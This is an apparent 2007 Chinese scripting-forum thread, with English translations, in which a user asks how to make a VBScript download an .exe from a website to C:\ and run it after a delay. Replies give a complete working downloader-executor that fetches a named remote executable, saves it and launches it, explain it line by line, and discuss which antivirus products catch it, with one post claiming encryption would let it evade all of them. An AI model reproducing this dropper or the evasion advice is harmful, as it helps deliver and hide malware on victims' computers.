|
nzisisco
初级用户
 
积分 107
发帖 47
注册 2007-3-3
状态 离线
|
『楼 主』:
[求助]如何用vbs下载并运行指定文件?
使用 LLM 解释/回答一下
比如我要下载 www.xxxxxx.com\1.exe 这个程序 如何用vbs下载 然后放到指定目录 比如放到c:\ 最好能够指定一个时间运行 比如60秒後运行
希望高人帮忙!
For example, I want to download the program www.xxxxxx.com\1.exe. How to use VBS to download it and put it into the specified directory, such as putting it into c:\, and preferably be able to specify a time to run it, such as running it after 60 seconds. Hope an expert can help!
|
|
2007-4-25 23:22 |
|
|
vkill
金牌会员
     
积分 4103
发帖 1744
注册 2006-1-20 来自 甘肃.临泽
状态 离线
|
|
2007-4-25 23:57 |
|
|
lxmxn
版主
       
积分 11386
发帖 4938
注册 2006-7-23
状态 离线
|
『第 3 楼』:
使用 LLM 解释/回答一下
楼上已经给出了提示,楼主不妨按照楼上的提示,搜索一下论坛,尝试自己解决一下问题,对你提高很有好处的。
The upstairs has already given a hint. The owner of the post might as well follow the upstairs' hint, search the forum, and try to solve the problem by oneself. It is very beneficial for you to improve.
|
|
2007-4-26 01:41 |
|
|
fengzi
中级用户
   金牌会员
积分 315
发帖 152
注册 2007-1-25
状态 离线
|
『第 4 楼』:
使用 LLM 解释/回答一下
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://danshenhan.mm9mm.com/xiao.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\xiao.exe",2
wscript.sleep 10000
Shell.Run ("c:\xiao.exe") '延迟过后执行下载文件
好象要被卡吧杀``NOD32都不会杀滴```
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://danshenhan.mm9mm.com/xiao.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\xiao.exe",2
wscript.sleep 10000
Shell.Run ("c:\xiao.exe") 'Delay and then execute the downloaded file
It seems like it will be blocked by the antivirus, but NOD32 won't detect it.
|
|
2007-4-26 02:08 |
|
|
nzisisco
初级用户
 
积分 107
发帖 47
注册 2007-3-3
状态 离线
|
『第 5 楼』:
使用 LLM 解释/回答一下
我是对vbs一点都不了解 2楼虽然给出了关键字 但是还是有难度......
4楼的我看不太懂你写的什么意思 能解释一下吗 不好意思 我比较笨 麻烦大家了哈
I know nothing about VBS. Although the second floor has given the key words, it's still difficult...
I can't understand what you wrote on the fourth floor. Can you explain it? I'm sorry. I'm relatively stupid. Please trouble everyone.
|
|
2007-4-26 02:48 |
|
|
fengzi
中级用户
   金牌会员
积分 315
发帖 152
注册 2007-1-25
状态 离线
|
『第 6 楼』:
使用 LLM 解释/回答一下
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://danshenhan.mm9mm.com/xiao.exe",0 :这里是要下的东西的地址
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\xiao.exe",2 保存位置
wscript.sleep 10000 延时
Shell.Run ("c:\xiao.exe") 执行
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://danshenhan.mm9mm.com/xiao.exe",0 :Here is the address of the thing to download
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\xiao.exe",2 Save location
wscript.sleep 10000 Delay
Shell.Run ("c:\xiao.exe") Execute
|
|
2007-4-26 02:58 |
|
|
zhoushijay
高级用户
    Autowalk
积分 845
发帖 375
注册 2007-3-3
状态 离线
|
『第 7 楼』:
使用 LLM 解释/回答一下
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Set Shell = CreateObject("scripting.filesystemobject")
还有哪些对象啊?这些对象下面又有些什么属性和方法,谁有这方面的资料啊?
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Set Shell = CreateObject("scripting.filesystemobject")
What other objects are there? What properties and methods are there under these objects? Who has relevant information on this?
|
|
2007-4-27 02:45 |
|
|
Vampire
初级用户
 
积分 176
发帖 78
注册 2007-4-15
状态 离线
|
『第 8 楼』:
使用 LLM 解释/回答一下
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://danshenhan.mm9mm.com/xiao.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\xiao.exe",2
这段代码被瑞星认为病毒……杀之而后快。呵呵。
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://danshenhan.mm9mm.com/xiao.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\xiao.exe",2
This code is regarded as a virus by Rising Antivirus... It is desperately killed. Hehe.
|
|
2007-4-27 03:14 |
|
|
kk11440
新手上路

积分 2
发帖 1
注册 2007-5-23
状态 离线
|
『第 9 楼』:
使用 LLM 解释/回答一下
因为疯子哥哥```等于说小波同志没对这段vbs段码进行加密.加了密过后过所有的杀软
Because Brother Madman... It means that Comrade Xiao Bo didn't encrypt this VBS code segment. After encryption, all antivirus software
|
|
2007-5-23 21:29 |
|
|
fengzi
中级用户
   金牌会员
积分 315
发帖 152
注册 2007-1-25
状态 离线
|
|
2007-5-23 22:46 |
|